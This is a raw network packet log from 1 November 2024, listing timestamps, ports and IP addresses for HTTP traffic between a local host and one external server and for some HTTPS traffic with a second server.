Nov 1, 2024 05:02:35.441394091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441438913 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.441471100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441518068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.441562891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441581011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441620111 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.441643000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.441715956 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:35.441824913 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:35.441874981 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:35.441997051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442039967 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442079067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442094088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442116976 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442137957 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442174911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442203045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442222118 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442284107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442339897 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442356110 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442375898 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442388058 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442476988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442492008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442507982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442536116 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442713022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442727089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442761898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442765951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442810059 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442826986 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442842007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.442878962 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.442980051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443008900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443015099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443069935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.443125963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443141937 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443169117 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.443344116 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443384886 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.443391085 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443408012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.443450928 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.447906971 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:35.447926998 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:35.477579117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477602005 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477658033 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477674007 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.477725983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477742910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477765083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.477794886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.477833986 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514029026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514055967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514071941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514086962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514111042 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514126062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514147043 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514206886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514220953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514257908 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514295101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514311075 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514324903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514348030 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514364958 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.514421940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514518023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514542103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.514584064 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.557260990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557281971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557300091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557348013 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.557362080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557379961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557384968 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.557424068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.557466984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557481050 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.557521105 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.558244944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558294058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558307886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558355093 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.558391094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558480024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558496952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558521986 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.558535099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.558617115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.558634043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559099913 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559128046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559144020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559171915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559174061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559259892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559274912 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559318066 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559357882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559396029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559407949 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559428930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559444904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559480906 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559540033 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559607983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559623003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559626102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559659004 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559736967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559753895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559778929 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559813976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559844971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559889078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559916973 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.559927940 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559952974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.559992075 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560085058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560101032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560123920 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.560333014 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560348988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560386896 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.560533047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560585976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.560626030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560642958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.560698032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.581084013 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.594682932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594707012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594721079 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594763994 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.594810963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594827890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594868898 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.594916105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594938040 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.594999075 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.595046043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.595060110 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.595959902 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.631884098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.631941080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.631957054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.631992102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.632025003 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.632088900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632107019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632145882 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.632237911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632255077 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632298946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.632358074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632375002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632395983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.632415056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.674395084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.674411058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.674427032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.674478054 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.674571991 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.674588919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675293922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.675354004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675388098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675403118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675430059 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.675513983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675529003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675544977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675561905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675566912 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.675594091 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.675695896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675710917 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.675753117 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676212072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676260948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676278114 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676292896 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676325083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676373959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676389933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676464081 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676480055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676506996 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676527977 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676579952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676595926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676613092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676635027 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676719904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676775932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676791906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676821947 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676851034 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.676856995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676914930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.676954985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.677032948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677089930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677107096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677144051 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.677187920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677203894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677244902 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.677402020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677452087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677473068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.677500010 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.677512884 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.711608887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711688995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711699009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711744070 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.711754084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711813927 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.711836100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711850882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711908102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.711956024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.711997032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.712012053 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.712079048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.748631001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748677969 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748686075 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748694897 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.748728991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.748811960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748820066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748925924 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748931885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748946905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.748980045 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.749089003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749098063 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749106884 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749141932 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.749166965 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.749233007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749239922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749330044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749336004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.749387980 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.791146994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.791220903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.791229010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.791273117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.791279078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.791332960 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.792185068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792202950 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792268038 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.792304993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792318106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792337894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792402029 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.792411089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792418957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792428017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792455912 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.792571068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792634964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792700052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792715073 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.792742968 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793030977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793077946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793112040 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793119907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793163061 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793168068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793261051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793267965 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793298006 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793330908 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793423891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793431997 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793474913 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793510914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793520927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793576002 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793668032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793675900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793718100 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793796062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793803930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793819904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.793843985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.793916941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794001102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794049025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.794095039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794102907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794117928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794169903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.794258118 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794414043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794462919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794477940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794599056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794606924 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.794882059 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.828741074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828799963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828809023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828892946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828901052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828984022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828991890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.828991890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.828991890 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.829036951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.829047918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.833158970 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.865525961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865583897 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865592957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865659952 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.865690947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865699053 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865799904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865871906 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.865878105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.865886927 CET	80	59856	185.215.113.16	192.168.2.5
